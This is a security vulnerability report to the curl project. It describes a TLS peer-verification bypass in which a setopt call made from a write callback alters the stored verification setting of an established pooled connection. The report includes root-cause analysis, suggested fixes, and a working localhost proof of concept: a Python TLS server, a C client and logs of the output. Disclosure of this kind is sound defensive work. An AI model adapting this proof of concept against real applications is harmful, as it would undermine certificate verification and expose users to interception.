curl · Report #3735276
TLS peer-verification bypass via mid-transfer ssl_config mutation
How it was found
Hi all,
We want to report a TLS peer-verification issue on current master. The trigger is narrow and requires a specific application usage pattern, but when it fires, a transfer that requests CURLOPT_SSL_VERIFYPEER=1 can reuse a TLS connection that was established with peer verification disabled. Both transfers complete successfully.
The trigger requires all four conditions below:
- Transfer T1 starts with
CURLOPT_SSL_VERIFYPEER=0. - T1's
CURLOPT_WRITEFUNCTIONcallback callscurl_easy_setopt(CURLOPT_SSL_VERIFYPEER, 1L)on the same easy handle. - T1 completes and returns its connection to the pool.
- Transfer T2 requests
CURLOPT_SSL_VERIFYPEER=1and matches that pooled connection.
All four conditions must occur within the same multi handle session.
The root cause is Curl_ssl_conn_config_update in lib/vtls/vtls.c:
void Curl_ssl_conn_config_update(struct Curl_easy *data, bool for_proxy)
{
if(data->conn) {
struct ssl_primary_config *src, *dest;
src = &data->set.ssl.primary;
dest = &data->conn->ssl_config;
dest->verifyhost = src->verifyhost;
dest->verifypeer = src->verifypeer;
dest->verifystatus = src->verifystatus;
}
}
This function is called from the CURLOPT_SSL_VERIFYPEER and CURLOPT_SSL_VERIFYHOST handlers in lib/setopt.c. The intended behavior is to let a setopt call made before the TLS handshake propagate to the connection being built.
The problem is that there is no lifecycle guard. When the write callback fires, the TLS handshake has already completed and data->conn is still non-NULL. The function writes the new verifypeer=1 value into conn->ssl_config, even though that connection was actually negotiated with peer verification disabled. conn->ssl_config is later read by match_ssl_primary_config during connection-pool lookup, so when T2 requests CURLOPT_SSL_VERIFYPEER=1, it sees a matching pooled connection and reuses the existing TLS session.
curl_easy_setopt is explicitly documented as allowed from within a callback. The call returns CURLE_OK, and there is no indication to the application that the connection metadata was mutated after the handshake.
This appears to have been introduced by commit bf0e278a3c (vtls: cleanup SSL config management, October 2023), which restructured when and how conn->ssl_config is populated.
A possible fix is to guard the write in Curl_ssl_conn_config_update against connections whose TLS filter has already completed the handshake, for example with a check analogous to Curl_ssl_cf_is_handshaked(data->conn, for_proxy) at the top of the if(data->conn) block. If the handshake is already complete, the function should return without writing to conn->ssl_config.
An alternative would be to call connclose when a security-strengthening value is written onto an established connection, forcing T2 to open a fresh TLS session. That is safer, but more disruptive.
Reproduction
The reproduction uses two files placed in a local reports/ directory inside the curl source tree:
reports/F24_server.py
reports/F24_poc.c
The server listens on 127.0.0.1:9443 with a self-signed certificate that is not in the system CA store. It returns Connection: keep-alive so that T1's connection can be returned to the pool and reused by T2.
Server: reports/F24_server.py
#!/usr/bin/env python3
"""
F24 PoC companion server.
Listens on 127.0.0.1:9443 with a self-signed certificate.
Returns HTTP/1.1 200 keep-alive responses so that the connection can be
returned to the pool and reused by Transfer 2.
Setup:
mkdir -p /tmp/poc-f24
openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
-subj '/CN=127.0.0.1' \
-addext 'subjectAltName=IP:127.0.0.1' \
-keyout /tmp/poc-f24/key.pem -out /tmp/poc-f24/cert.pem
Run from the curl source tree:
python3 reports/F24_server.py
"""
import socket
import ssl
import threading
import time
HOST = "127.0.0.1"
PORT = 9443
CERT = "/tmp/poc-f24/cert.pem"
KEY = "/tmp/poc-f24/key.pem"
RESPONSE = (
"HTTP/1.1 200 OK\r\n"
"Content-Length: 5\r\n"
"Connection: keep-alive\r\n"
"\r\n"
"hello"
)
def read_request(sock):
buf = b""
sock.settimeout(3.0)
while b"\r\n\r\n" not in buf and len(buf) < 65536:
try:
chunk = sock.recv(4096)
except socket.timeout:
break
if not chunk:
break
buf += chunk
return buf
def handle(client, conn_num):
try:
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain(CERT, KEY)
tls = ctx.wrap_socket(client, server_side=True)
req = read_request(tls)
first_line = req.split(b"\r\n")[0].decode("latin-1", "replace")
print(f"[server] conn#{conn_num}: {first_line}", flush=True)
tls.sendall(RESPONSE.encode("ascii"))
# Keep the TLS socket open until the client closes or times out,
# so that the connection stays alive in the pool for T2 to reuse.
tls.settimeout(10.0)
try:
req2 = read_request(tls)
if req2:
first_line2 = req2.split(b"\r\n")[0].decode("latin-1", "replace")
print(
f"[server] conn#{conn_num} (reused): {first_line2}",
flush=True,
)
tls.sendall(RESPONSE.encode("ascii"))
except Exception:
pass
tls.close()
except Exception as e:
print(f"[server] conn#{conn_num} error: {e}", flush=True)
try:
client.close()
except Exception:
pass
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(8)
print(f"[server] listening on {HOST}:{PORT}", flush=True)
conn_num = 0
end = time.time() + 60.0
while time.time() < end:
s.settimeout(5.0)
try:
client, _ = s.accept()
conn_num += 1
t = threading.Thread(
target=handle,
args=(client, conn_num),
daemon=True,
)
t.start()
except socket.timeout:
pass
s.close()
print("[server] done", flush=True)
if __name__ == "__main__":
main()
Client: reports/F24_poc.c
/*
* F24_poc.c - PoC: TLS connection-reuse bypass via in-callback setopt mutation
*
* SPDX-License-Identifier: curl
*
* Demonstrates that calling curl_easy_setopt(CURLOPT_SSL_VERIFYPEER, 1L)
* from inside a CURLOPT_WRITEFUNCTION callback on an active easy handle
* retroactively mutates conn->ssl_config.verifypeer on the current
* connection through Curl_ssl_conn_config_update(). When that connection
* is returned to the pool, its metadata now claims VERIFYPEER=1, even
* though TLS was completed with VERIFYPEER=0. A subsequent transfer that
* requests VERIFYPEER=1 with the same NULL CAfile matches the poisoned
* pool entry and can reuse the session, bypassing peer verification.
*
* Key constraint satisfied by this PoC:
* - T1 starts with VERIFYPEER=0, VERIFYHOST=0, CAfile=NULL.
* - T1 write callback sets VERIFYPEER=1 and VERIFYHOST=2.
* - T2 uses VERIFYPEER=1, VERIFYHOST=2, CAfile=NULL.
* - match_ssl_primary_config sees matching SSL primary config values.
* - The connection is reused, shown by the same CURLINFO_CONN_ID.
* - T2 succeeds against a self-signed certificate that is not trusted
* by the system CA store.
*
* For this scenario to trigger connection reuse, the server must use
* keep-alive and T2 must begin before the idle timeout elapses. This PoC
* drives both transfers through the same curl_multi handle without any
* sleep between them.
*
* Build from the curl source tree:
*
* gcc -g -O0 -DCURL_STATICLIB \
* -I include \
* reports/F24_poc.c \
* lib/.libs/libcurl.a \
* -lnghttp2 -lidn2 -lssl -lcrypto -lzstd -lbrotlidec -lz \
* -lunistring -lbrotlicommon -lpthread -ldl -lpsl -lldap -llber \
* -o /tmp/f24_poc
*
* Run from the curl source tree after starting reports/F24_server.py:
*
* /tmp/f24_poc 2>&1
*
* VULNERABLE output:
*
* * Reusing existing https: connection with host 127.0.0.1
* [T2] completed: 0 (No error), conn_id=0
* [VULNERABLE] T2 reused the insecure TLS session from T1.
*
* HARDENED output:
*
* * Connection #0 has different SSL parameters, cannot reuse
* [HARDENED] T2 correctly rejected self-signed cert
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/select.h>
#include <sys/time.h>
#define CURL_STATICLIB
#include "curl/curl.h"
#define HOST "127.0.0.1"
#define PORT 9443
#define URL "https://" HOST ":9443/"
struct xfer_ctx {
CURL *easy;
int mutated;
};
static size_t write_cb_t1(char *ptr, size_t size, size_t nmemb, void *userdata)
{
struct xfer_ctx *ctx = (struct xfer_ctx *)userdata;
size_t nbytes = size * nmemb;
(void)ptr;
if(!ctx->mutated) {
CURLcode rc;
/*
* T1 started with CURLOPT_SSL_VERIFYPEER=0 and
* CURLOPT_SSL_VERIFYHOST=0. At this point the TLS handshake has
* already completed, but data->conn is still non-NULL.
*
* These setopt calls trigger Curl_ssl_conn_config_update(), which
* writes the new values into conn->ssl_config for the already
* established connection.
*/
rc = curl_easy_setopt(ctx->easy, CURLOPT_SSL_VERIFYPEER, 1L);
fprintf(stdout,
"[T1 callback] setopt(VERIFYPEER, 1) returned %d (%s)\n",
(int)rc, curl_easy_strerror(rc));
rc = curl_easy_setopt(ctx->easy, CURLOPT_SSL_VERIFYHOST, 2L);
fprintf(stdout,
"[T1 callback] setopt(VERIFYHOST, 2) returned %d (%s)\n",
(int)rc, curl_easy_strerror(rc));
ctx->mutated = 1;
}
return nbytes;
}
static size_t null_write_cb(char *ptr, size_t size, size_t nmemb, void *ud)
{
(void)ptr;
(void)ud;
return size * nmemb;
}
static void run_multi(CURLM *multi)
{
int still_running = 1;
while(still_running) {
struct timeval tv = { 0, 10000 };
int maxfd = -1;
fd_set r;
fd_set w;
fd_set e;
CURLMcode mc;
mc = curl_multi_perform(multi, &still_running);
if(mc != CURLM_OK)
break;
if(!still_running)
break;
FD_ZERO(&r);
FD_ZERO(&w);
FD_ZERO(&e);
curl_multi_fdset(multi, &r, &w, &e, &maxfd);
if(maxfd == -1)
select(0, NULL, NULL, NULL, &tv);
else
select(maxfd + 1, &r, &w, &e, &tv);
}
}
int main(void)
{
CURLM *multi;
CURL *easy1;
CURL *easy2;
struct xfer_ctx ctx1;
struct xfer_ctx ctx2;
CURLMsg *msg;
int msgs_left;
CURLcode res1 = CURLE_OK;
CURLcode res2 = CURLE_OK;
long conn1_id = -1;
long conn2_id = -1;
curl_global_init(CURL_GLOBAL_ALL);
multi = curl_multi_init();
/*
* Transfer 1: VERIFYPEER=0, VERIFYHOST=0, CAfile=NULL.
* The write callback flips VERIFYPEER to 1 and VERIFYHOST to 2
* while the transfer is active.
*/
easy1 = curl_easy_init();
memset(&ctx1, 0, sizeof(ctx1));
ctx1.easy = easy1;
curl_easy_setopt(easy1, CURLOPT_URL, URL);
curl_easy_setopt(easy1, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(easy1, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(easy1, CURLOPT_WRITEFUNCTION, write_cb_t1);
curl_easy_setopt(easy1, CURLOPT_WRITEDATA, &ctx1);
curl_easy_setopt(easy1, CURLOPT_VERBOSE, 1L);
curl_multi_add_handle(multi, easy1);
run_multi(multi);
while((msg = curl_multi_info_read(multi, &msgs_left))) {
if(msg->msg == CURLMSG_DONE && msg->easy_handle == easy1)
res1 = msg->data.result;
}
curl_easy_getinfo(easy1, CURLINFO_CONN_ID, &conn1_id);
fprintf(stdout,
"\n[T1] completed: %d (%s), conn_id=%ld\n",
(int)res1, curl_easy_strerror(res1), conn1_id);
fprintf(stdout,
"[T1] started with VERIFYPEER=0. The callback mutated it to 1.\n"
" conn->ssl_config.verifypeer is now 1 in pool entry #%ld,\n"
" but TLS was negotiated without peer verification.\n\n",
conn1_id);
curl_multi_remove_handle(multi, easy1);
/*
* Keep easy1 alive after removing it from the multi handle. The
* connection remains in the multi handle's connection pool.
*
* Transfer 2: VERIFYPEER=1, VERIFYHOST=2, CAfile=NULL.
*
* Because T1's callback mutated conn->ssl_config, the poisoned pool
* entry now appears to match T2's requested SSL primary config.
*/
easy2 = curl_easy_init();
memset(&ctx2, 0, sizeof(ctx2));
ctx2.easy = easy2;
curl_easy_setopt(easy2, CURLOPT_URL, URL);
curl_easy_setopt(easy2, CURLOPT_SSL_VERIFYPEER, 1L);
curl_easy_setopt(easy2, CURLOPT_SSL_VERIFYHOST, 2L);
curl_easy_setopt(easy2, CURLOPT_WRITEFUNCTION, null_write_cb);
curl_easy_setopt(easy2, CURLOPT_WRITEDATA, NULL);
curl_easy_setopt(easy2, CURLOPT_VERBOSE, 1L);
curl_multi_add_handle(multi, easy2);
run_multi(multi);
while((msg = curl_multi_info_read(multi, &msgs_left))) {
if(msg->msg == CURLMSG_DONE && msg->easy_handle == easy2)
res2 = msg->data.result;
}
curl_easy_getinfo(easy2, CURLINFO_CONN_ID, &conn2_id);
fprintf(stdout,
"\n[T2] completed: %d (%s), conn_id=%ld\n",
(int)res2, curl_easy_strerror(res2), conn2_id);
fprintf(stdout, "\n=== VERDICT ===\n");
fprintf(stdout,
"T1 conn_id=%ld, T2 conn_id=%ld => %s\n",
conn1_id, conn2_id,
(conn1_id >= 0 && conn1_id == conn2_id)
? "SAME CONN (reuse confirmed)"
: "different conn");
if(res2 == CURLE_OK && conn1_id == conn2_id) {
fprintf(stdout,
"[VULNERABLE] T2 reused the insecure TLS session from T1.\n"
" Self-signed cert accepted despite VERIFYPEER=1.\n");
}
else if(res2 == CURLE_OK && conn1_id != conn2_id) {
fprintf(stdout,
"[PARTIAL/INCONCLUSIVE] T2 succeeded, but on a new connection.\n"
" The mutation happened, but reuse timing may differ.\n"
" Check verbose output for a new TLS handshake.\n");
}
else if(res2 == CURLE_SSL_CACERT ||
res2 == CURLE_PEER_FAILED_VERIFICATION) {
fprintf(stdout,
"[HARDENED] T2 correctly rejected the self-signed cert: %s\n",
curl_easy_strerror(res2));
}
else {
fprintf(stdout,
"[INCONCLUSIVE] T2 result: %s\n",
curl_easy_strerror(res2));
}
curl_multi_remove_handle(multi, easy2);
curl_easy_cleanup(easy2);
curl_easy_cleanup(easy1);
curl_multi_cleanup(multi);
curl_global_cleanup();
return (res2 == CURLE_OK && conn1_id == conn2_id) ? 1 : 0;
}
Build
From the curl source tree, after building libcurl:
gcc -g -O0 -DCURL_STATICLIB \
-I include \
reports/F24_poc.c \
lib/.libs/libcurl.a \
-lnghttp2 -lidn2 -lssl -lcrypto -lzstd -lbrotlidec -lz \
-lunistring -lbrotlicommon -lpthread -ldl -lpsl -lldap -llber \
-o /tmp/f24_poc
Depending on the local libcurl build configuration, the exact dependency list may vary. The important path assumptions are:
reports/F24_poc.c
reports/F24_server.py
lib/.libs/libcurl.a
include/curl/curl.h
Generate the test certificate
mkdir -p /tmp/poc-f24
openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
-subj '/CN=127.0.0.1' \
-addext 'subjectAltName=IP:127.0.0.1' \
-keyout /tmp/poc-f24/key.pem -out /tmp/poc-f24/cert.pem
Run
From the curl source tree:
python3 reports/F24_server.py &
sleep 0.5
/tmp/f24_poc 2>&1
Vulnerable output
Exit code 1 means the vulnerable condition was reproduced.
* !!! WARNING !!!
* This is a debug build of libcurl, do not use in production.
* alloc connection, bits.close=0
* setup connection, bits.close=0
* setup connection, bits.close=0
* new connection, bits.close=0
* Trying 127.0.0.1:9443...
* ALPN: curl offers h2,http/1.1
* SSL Trust: peer verification disabled
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 / x25519 / RSASSA-PSS
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
* subject: CN=127.0.0.1
* start date: May 14 08:35:18 2026 GMT
* expire date: May 15 08:35:18 2026 GMT
* issuer: CN=127.0.0.1
* Certificate level 0: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption
* OpenSSL verify result: 12
* SSL certificate verification failed, continuing anyway!
* Established connection to 127.0.0.1 (127.0.0.1 port 9443) from 127.0.0.1 port 43226
* using HTTP/1.x
* sending last upload chunk of 53 bytes
* Curl_xfer_send(len=53, eos=1) -> 0, 53
> GET / HTTP/1.1
Host: 127.0.0.1:9443
Accept: */*
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Length: 5
< Connection: keep-alive
<
* Connection #0 to host 127.0.0.1:9443 left intact
* alloc connection, bits.close=0
* setup connection, bits.close=0
* setup connection, bits.close=0
* Reusing existing https: connection with host 127.0.0.1
* sending last upload chunk of 53 bytes
* Curl_xfer_send(len=53, eos=1) -> 0, 53
> GET / HTTP/1.1
Host: 127.0.0.1:9443
Accept: */*
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Length: 5
< Connection: keep-alive
<
* Connection #0 to host 127.0.0.1:9443 left intact
[T1 callback] setopt(VERIFYPEER, 1) returned 0 (No error)
[T1 callback] setopt(VERIFYHOST, 2) returned 0 (No error)
[T1] completed: 0 (No error), conn_id=0
[T1] started with VERIFYPEER=0. The callback mutated it to 1.
conn->ssl_config.verifypeer is now 1 in pool entry #0,
but TLS was negotiated without peer verification.
[T2] completed: 0 (No error), conn_id=0
=== VERDICT ===
T1 conn_id=0, T2 conn_id=0 => SAME CONN (reuse confirmed)
[VULNERABLE] T2 reused the insecure TLS session from T1.
Self-signed cert accepted despite VERIFYPEER=1.
Server log
[server] listening on 127.0.0.1:9443
[server] conn#1: GET / HTTP/1.1
[server] conn#1 (reused): GET / HTTP/1.1
This shows one TLS handshake and two HTTP requests over the same connection. Running T2 alone against the same server, with no pooled connection available, fails with CURLE_PEER_FAILED_VERIFICATION, confirming that the self-signed certificate is genuinely untrusted and that connection reuse is the mechanism.
Thanks,
AISLE Research Team